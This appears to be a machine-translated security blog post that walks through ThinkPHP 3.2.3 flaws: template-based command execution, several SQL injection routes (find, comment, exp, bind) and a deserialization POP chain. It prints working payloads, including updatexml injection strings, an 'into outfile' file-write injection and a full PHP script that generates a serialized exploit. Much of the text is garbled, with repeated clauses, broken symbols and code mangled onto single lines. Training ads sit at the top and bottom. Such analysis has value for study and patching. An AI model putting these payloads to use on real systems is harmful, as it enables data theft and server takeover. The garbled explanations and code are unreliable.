0x00 $this->show causes command execution

2021 Latest collation network security penetration testing/security learning (full set of video, big factory face classics, boutique manual, essential kit) a > point I get < a

Home\Controller\IndexController passed a controllable parameter to index.

class IndexController extends Controller
{
    public function index($n=' ')
    {$this->show('
      
< h1>< /h1>

Welcome to ThinkPHP!



version V{$think.version}

Hello '
.$n, 'utf-8'); }}Copy the code

Follow up the display ()

protected function show($content,$charset='',$contentType='',$prefix='') {
    $this->view->display('',$charset,$contentType,$content,$prefix);
}
Copy the code

Follow all the way to fetch() and then all the way to Hook::listen(‘view_parse’, $params);

public function fetch($templateFile=' ', $content=' ', $prefix=' ')
{
    if (empty($content)) {
        $templateFile   =   $this->parseTemplate($templateFile);
        // The template file does not have a direct return
        if(! is_file($templateFile)) { E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); }}else {
        defined('THEME_PATH') or    define('THEME_PATH', $this->getThemePath());
    }
    // Page caching
    ob_start();
    ob_implicit_flush(0);
    if ('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // Use PHP native templates
        $_content   =   $content;
        // Template array variables are decomposed into independent variables
        extract($this->tVar, EXTR_OVERWRITE);
        // Load the PHP template directlyempty($_content)? include $templateFile:eval('? > '.$_content);
    } else {
        // View parses tags
        $params = array('var'= > $this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
        Hook::listen('view_parse', $params);
    }
    // Get and clear the cache
    $content = ob_get_clean();
    // Content filter tag
    Hook::listen('view_filter', $content);
    // Output the template file
    return $content;
}
Copy the code

The key thing here is that the contents of our index were stored in the cache file PHP file, along with the controlled PHP code that we typed in, and then contained that file, causing the command to execute.

public function load($_filename,$vars=null){ if(! is_null($vars)){ extract($vars, EXTR_OVERWRITE); } include $_filename; }Copy the code

0 x01 SQL injection

/ Application/Home/Controller/IndexController class. Add a SQL query PHP code. http://localhost/tp323/index.php/Home/Index/sql?id=1 query entrance.

public function sql()
{
    $id = I('GET.id');
    $user = M('user');
    $data = $user->find($id);
    var_dump($data);
}
Copy the code

Id =1 and updatexML (1,concat(0x7e,user(),0x7e),1)–+ $options[‘where’][‘id’]=input $options[‘where’][‘id’]=input $options[‘where’][‘id’]=input

if(is_numeric($options) || is_string($options)) {
    $where[$this->getPk()]  =   $options;
    $options                =   array();
    $options['where']       =   $where;
}
Copy the code

If (is_array(options) && (count(options) > 0) && is_array(pk))) Mysql > select * from primary key where id = 0; mysql > select * from primary key where id = 0

$pk  =  $this->getPk(); // $pk='id'
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
    //
}
Copy the code

$options = $this->_parseOptions($options); .

protected function _parseOptions($options=array()) { if (is_array($options)) { $options = array_merge($this->options, $options); } if (! $options['table'] = $this->getTableName(); $options['table'] = $this->getTableName(); $fields = $this->fields; } else {$fields = $this->getDbFields(); } // Table alias if (! empty($options['alias'])) { $options['table'] .= ' '.$options['alias']; $options['model'] = $this->name; / / the field type validation if (isset ($options [' where ']) && is_array ($options [' where ']) &&! empty($fields) && ! Foreach ($options['where'] as $key=>$val) {$key= trim($key); if (in_array($key, $fields, true)) { if (is_scalar($val)) { $this->_parseType($options['where'], $key); } } elseif (! is_numeric($key) && '_' ! = substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) { if (! empty($this->options['strict'])) { E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']'); } unset($options['where'][$key]); $this->options = array(); $this->_options_filter($options); return $options; } Obtain the fields and field types of the queried table. if (! $options['table'] = $this->getTableName(); $options['table'] = $this->getTableName(); $fields = $this->fields; }Copy the code

$this->_parseType($options[‘where’], $key);

if (isset($options['where']) && is_array($options['where']) && ! empty($fields) && ! Foreach ($options['where'] as $key=>$val) {$key= trim($key); if (in_array($key, $fields, true)) { if (is_scalar($val)) { $this->_parseType($options['where'], $key); } } elseif (! is_numeric($key) && '_' ! = substr($key, 0, 1) && false === strpos($key, '.') && false === strpos($key, '(') && false === strpos($key, '|') && false === strpos($key, '&')) { if (! empty($this->options['strict'])) { E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']'); } unset($options['where'][$key]); }}}Copy the code

Here the id field is of type int, so go to the second branch, convert our input to decimal, and the malicious statement is filtered out, followed by the normal SQL statement.

protected function _parseType(&$data,$key) { if(! isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){ $fieldType = strtolower($this->fields['_type'][$key]); if(false ! == strpos($fieldType,'enum') {// Support enum type priority detection} elseIf (false === strpos($fieldType,'bigint') && false! == strpos($fieldType,'int')) { $data[$key] = intval($data[$key]); }elseif(false ! == strpos($fieldType,'float') || false ! == strpos($fieldType,'double')){ $data[$key] = floatval($data[$key]); }elseif(false ! == strpos($fieldType,'bool')){ $data[$key] = (bool)$data[$key]; }}}Copy the code

If we pass an array id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–+ Options [where]=’1 and updatexML (1,concat(0x7e,user(),0x7e),1)– ‘

if(is_numeric($options) || is_string($options)) {
    $where[$this->getPk()]  =   $options;
    $options                =   array();
    $options['where']       =   $where;
}
Copy the code

If (isset(options[‘where’]) && is_array(options[‘where’]) &&! empty(fields) && ! Isset (options[‘ where’])), is_array(options[‘where’]) Options [‘where’]) is a string, not an array, so we don’t filter our input with _parseType().

ResultSet =resultSet =resultSet =this->db->select(options); , options at this time); , options at this time); In this case, options is the malicious SQL statement we input, obviously the injection is successful.

0x02 Deserialization & SQL injection

/ Application/Home/Controller/IndexController class. PHP to add a piece of code. http://localhost/tp323/index.php/Home/Index/sql?data= query entrance.

public function sql()
{
    unserialize(base64_decode($_POST['data']));
}
Copy the code

Global search function __destruct for a starting point.

In the file: / ThinkPHP/Library/Think/Image/Driver/Imagick class. Found in a PHP Imagick __destruct method of a class.

public function __destruct() {
    empty($this->img) || $this->img->destroy();
}
Copy the code

$this->img is controlled, so let’s look for destroy(). There are three, chose ThinkPHP/Library/Think/Session/Driver/Memcache. Class. In PHP Memcache destroy function of a class. PHP uses PHP5 instead of PHP7 because the function destroy() is called with no arguments, and we found a function with arguments. PHP uses PHP7 to call a function that takes arguments, but does not take arguments.

public function destroy($sessID) {
    return $this->handle->delete($this->sessionName.$sessID);
}
Copy the code

Here handle is controllable, so I’m going to look for the delete function. In ThinkPHP/Mode/Lite/Model class. PHP’s found the right function in the Model class, of course choose/ThinkPHP/Library/Think/Model class. This function can also be in PHP. $this->data ($this->data[$pk]); So this is just the previous part of the code.

public function delete($options=array()) { $pk = $this->getPk(); If ($this->options['where']) {$this->options['where']) {$this->options['where']); empty($this->data) && isset($this->data[$pk])) return $this->delete($this->data[$pk]); else return false; }}Copy the code

If we want to call delete in if, we need to make the options we pass empty, and ‘options is empty, and’ options’ is empty, and ‘this->options[‘where’] is empty, which is controllable, so we go to the second if, This −>data ‘is not null, and’ this->data ‘is not null, and’ this->data ‘is not null, and’ this->data[pk] ‘is present. Delete (this->data[pk]) ‘pk])’. Pk]). $this->pk; $this->pk;

We can now enter the delete function with the parameters as normal and proceed with the destroy() call, which was partially controlled because it was called without parameters. $result = $this->db->delete($options); , calls the delete() method in the ThinkPHP database model class.

$this->execute. $this->execute. $this->execute.

public function delete($options=array()) { $this->model = $options['model']; $this->parseBind(! empty($options['bind'])? $options['bind']:array()); $table = $this->parseTable($options['table']); $sql = 'DELETE FROM '.$table; If (strpos($table,',')){if(strpos($table,',')){ empty($options['using'])){ $sql .= ' USING '.$this->parseTable($options['using']).' '; } $sql .= $this->parseJoin(! empty($options['join'])? $options['join']:''); } $sql .= $this->parseWhere(! empty($options['where'])? $options['where']:''); if(! $SQL.= $this->parseOrder(! $this->parseOrder(! $this->parseOrder(! empty($options['order'])? $options['order']:'') .$this->parseLimit(! empty($options['limit'])? $options['limit']:''); } $sql .= $this->parseComment(! empty($options['comment'])? $options['comment']:''); return $this->execute($sql,! empty($options['fetch_sql']) ? true : false); }Copy the code

Then call
t h i s > i n i t C o n n e c t ( t r u e ) ; , followed by this->initConnect(true); , followed by
$this-> connect(); $this->config;

<? php public function connect($config='',$linkNum=0,$autoConnection=false) { if ( ! isset($this->linkID[$linkNum]) ) { if(empty($config)) $config = $this->config; try{ if(empty($config['dsn'])) { $config['dsn'] = $this->parseDsn($config); } if(version_compare(PHP_VERSION,'5.3.6','<=')){$this->options[PDO:: attr_emulate_website] = false; } $this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options); }catch (\PDOException $e) { if($autoConnection){ trace($e->getMessage(),'','ERR'); return $this->connect($autoConnection,$linkNum); }elseif($config['debug']){ E($e->getMessage()); } } } return $this->linkID[$linkNum]; }Copy the code

So the POP chain comes out:

<?php

namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;

    class Imagick
    {
        private $img;

        public function __construct()
        {
            $this->img = new Memcache();
        }
    }
}

namespace Think\Session\Driver{
    use  Think\Model;

    class Memcache
    {
        protected $handle;
        public function __construct()
        {
            $this->handle = new Model();
        }
    }
}

namespace Think{
    use Think\Db\Driver\Mysql;

    class Model
    {
        protected $options;
        protected $data;
        protected $pk;
        protected $db;

        public function __construct()
        {
            $this->db = new Mysql();
            $this->options['where'] = '';
            $this->data['id'] = array(
                "table" => "mysql.user where 1=updatexml(1,user(),1)#",
                "where" => "1=1"
            );
            $this->pk = 'id';
        }
    }
}

namespace Think\Db\Driver{
    use PDO;

    class Mysql
    {
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true
        );
        protected $config = array(
            "debug"    => 1,
            "database" => "test",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

namespace {
    echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
 
Copy the code

0x03 Comment Injection

Trigger annotations into the call for: user = M (‘ user ‘) – > comment (user = M (‘ user ‘) – > comment (user = M (‘ user ‘) – > comment (id) – > find (intval ($id)); .

To debug, call comment in Think\ model.class.php

@access public * @param string $comment @return Model */ public function comment($comment) { $this->options['comment'] = $comment; return $this; }Copy the code

Then call the find method of Think\Model. Until we call the parseComment function in Think\Db\ driver.class.php, which concatenates our input into a comment so that we can close the comment and insert the SQL statement. SELECT * FROMuserWHEREid= 1 LIMIT 1 /* 1 */

protected function parseComment($comment) { return ! empty($comment)? ' /* '.$comment.' */':''; }Copy the code

If there is no LIMIT 1 here, we can directly inject the union, but there is LIMIT 1 here. The Incorrect usage of union and LIMIT would be prompted if we inject the union. The only way to do this is by wrapping the SQL query before the union in parentheses. We can use the into outfile extension to write the file.

The “OPTION” parameter is optional. Possible values are: FIELDS TERMINATED BY ‘string’ : The string is TERMINATED as a separator between FIELDS. It can be single or multiple characters. The default value is “\t”. FIELDS ENCLOSED BY ‘characters’ : Sets a character to enclose the value of a field, single character only. By default, no symbols are used. FIELDS OPTIONALLY ENCLOSED BY ‘characters’ : set characters to enclose character FIELDS such as CHAR, VARCHAR, and TEXT. By default, no symbols are used. FIELDS ESCAPED BY ‘character’ : indicates that the ESCAPED character is a single character only. The default value is “\”. LINES STARTING BY ‘string’ : Sets the character at the beginning of each line of data, which can be one or more characters. By default, no characters are used. LINES TERMINATED BY ‘string’ : Sets the end of each line of data. It can be single or more characters. The default value is “\n”. ? Id =1*/ into outfile “path/1.php” LINES

0 x04 exp injection

The query that triggers exp injection is as follows.

public function sql()
{
    $User = D('user');
    var_dump($_GET['id']);
    $map = array('id' => $_GET['id']);
    // $map = array('id' => I('id'));
    $user = $User->where($map)->find();
    var_dump($user);
}
Copy the code

This follows all the way to the parseSql() function, which then calls parseWhere().

public function parseSql($sql,$options=array()){ $sql = str_replace( array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','% COMMENT%','%FORCE%'), array( $this->parseTable($options['table']), $this->parseDistinct(isset($options['distinct'])? $options['distinct']:false), $this->parseField(! empty($options['field'])? $options['field']:'*'), $this->parseJoin(! empty($options['join'])? $options['join']:''), $this->parseWhere(! empty($options['where'])? $options['where']:''), $this->parseGroup(! empty($options['group'])? $options['group']:''), $this->parseHaving(! empty($options['having'])? $options['having']:''), $this->parseOrder(! empty($options['order'])? $options['order']:''), $this->parseLimit(! empty($options['limit'])? $options['limit']:''), $this->parseUnion(! empty($options['union'])? $options['union']:''), $this->parseLock(isset($options['lock'])? $options['lock']:false), $this->parseComment(! empty($options['comment'])? $options['comment']:''), $this->parseForce(! empty($options['force'])? $options['force']:'') ),$sql); return $sql; }Copy the code

ParseWhere () calls parseWhereItem(), intercepting some of the key code, where val is the argument that we passed in, so when we pass in an array, val is the argument that we passed in, So when we pass in an array, exp is the first value in the array, and if it’s equal to exp, it’s used. Simply concatenating the second value of the array causes SQL injection.

$exp = strtolower($val[0]); . Elseif (' bind '= = $exp) {/ / using the expression $whereStr. = $key.' = : '. $val [1]. } elseif (' exp '= = $exp) {/ / using the expression $whereStr. = $key.' '. $val [1]. }Copy the code

So when we pass in, right? Id [0]= exp&ID [1]== 1 and updatexML (1,concat(0x7e,user(),0x7e),1) Id = 1 and updatexML (1,concat(0x7e,user(),0x7e),1) SELECT * FROM user WHERE id =1 and updatexML (1,concat(0x7e,user(),0x7e),1) LIMIT 1

We use the global array $_GET instead of the I() function, because at the end of the I() function,

is_array(data) && array_walk_recursive(data,’think_filter’); The think_filter() function is called to filter, and EXP is filtered, followed by a space, so the above process cannot be carried out, and injection cannot be performed.

Function think_filter(&$value){// TODO other security filters // filter query special characters if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){ $value .= ' '; }}Copy the code

0 x05 bind injection

public function sql() { $User = M("user"); $user['id'] = I('id'); $data['password'] = I('password'); $valu = $User->where($user)->save($data); var_dump($valu); } payload:? id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1Copy the code

This goes all the way to parseWhereItem() above, and in addition to exp, there’s bind, which also concatenates strings with dots, but with a colon. Id = :0 and updatexML (1,concat(0x7e,user(),0x7e),1)

$exp = strtolower($val[0]); . Elseif (' bind '= = $exp) {/ / using the expression $whereStr. = $key.' = : '. $val [1]. } elseif (' exp '= = $exp) {/ / using the expression $whereStr. = $key.' '. $val [1]. }Copy the code

UPDATE user SET password=:0 WHERE id =:0 and updatexML (1,concat(0x7e,user(),0x7e),1)

The execute() function is then called in update(), executing the following code

if(! empty($this->bind)){ $that = $this; $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\'';  },$this->bind)); }Copy the code

Here we replace :0 with the value of the password we passed in, UPDATE user SET password=’1′ WHERE id =’1′ and updatexML (1,concat(0x7e,user(),0x7e),1) So when we pass in id[1] we pass in a 0 to get rid of the colon. Finally, SQL injection succeeds.

0x06 Variable overwrite causes command execution

The code that triggers the RCE is as follows.

public function test($name='', $from='ctfshow')
{
    $this->assign($name, $from);
    $this->display('index');
}
Copy the code

Call assign() first.

public function assign($name, $value='') { if (is_array($name)) { $this->tVar = array_merge($this->tVar, $name); } else { $this->tVar[$name] = $value; }}Copy the code

When we pass in? $this->view->tVar[“_content”]=” $this->view->tVar[“_content”]=””

The display() function follows, and $content gets the template content.

public function display($templateFile='', $charset='', $contentType='', $content='', $prefix='') { G('viewStartTime'); // View start tag Hook::listen('view_begin', $templateFile); $this->fetch($templateFile, $content, $prefix); $this->render($content, $charset, $contentType); // View end tag Hook::listen('view_end'); }Copy the code

Fetch () is called with an if judgment, which is entered if using PHP native templates. This corresponds to ‘TMPL_ENGINE_TYPE’ => ‘PHP’ in ThinkPHP\Conf\convention.

public function fetch($templateFile='', $content='', $prefix='') { if (empty($content)) { $templateFile = $this->parseTemplate($templateFile); // The template file does not exist. is_file($templateFile)) { E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); } } else { defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath()); } // page cache ob_start(); ob_implicit_flush(0); If (' PHP '== strtolower(C('TMPL_ENGINE_TYPE'))) {$_content = $content; Extract ($this->tVar, EXTR_OVERWRITE); Empty ($_content)? include $templateFile:eval('? >'.$_content); $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse', $params); $content = ob_get_clean(); Hook::listen('view_filter', $content); Return $content; }Copy the code

After entering judgment here, execute extract(this−>tVar,EXTROVERWRITE); This ->tVar, EXTR_OVERWRITE); As we know from the previous analysis that we already have this−>tVar,EXTROVERWRITE); This ->view->tVar[“_content”]=””;

Then empty(content)? include_content)? include content)? includetemplateFile:eval(‘? >’. content); , then _content); , the content of this time); , the _content is obviously not empty, so eval(‘? >’.$_content); “, which leads to command execution.

2021 Latest collation network security penetration testing/security learning (full set of video, big factory surface classics, boutique manual, essential kit) a > poke me take < a